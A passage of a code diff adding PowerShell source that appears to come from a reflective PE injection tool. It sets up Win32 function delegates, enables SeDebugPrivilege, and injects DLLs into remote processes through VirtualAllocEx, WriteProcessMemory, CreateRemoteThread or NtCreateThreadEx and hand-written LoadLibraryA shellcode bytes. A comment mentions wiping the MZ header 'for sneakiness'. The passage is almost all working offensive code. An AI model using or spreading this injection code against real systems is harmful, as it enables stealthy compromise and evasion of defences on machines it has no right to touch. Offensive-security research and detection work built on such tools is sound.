$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = 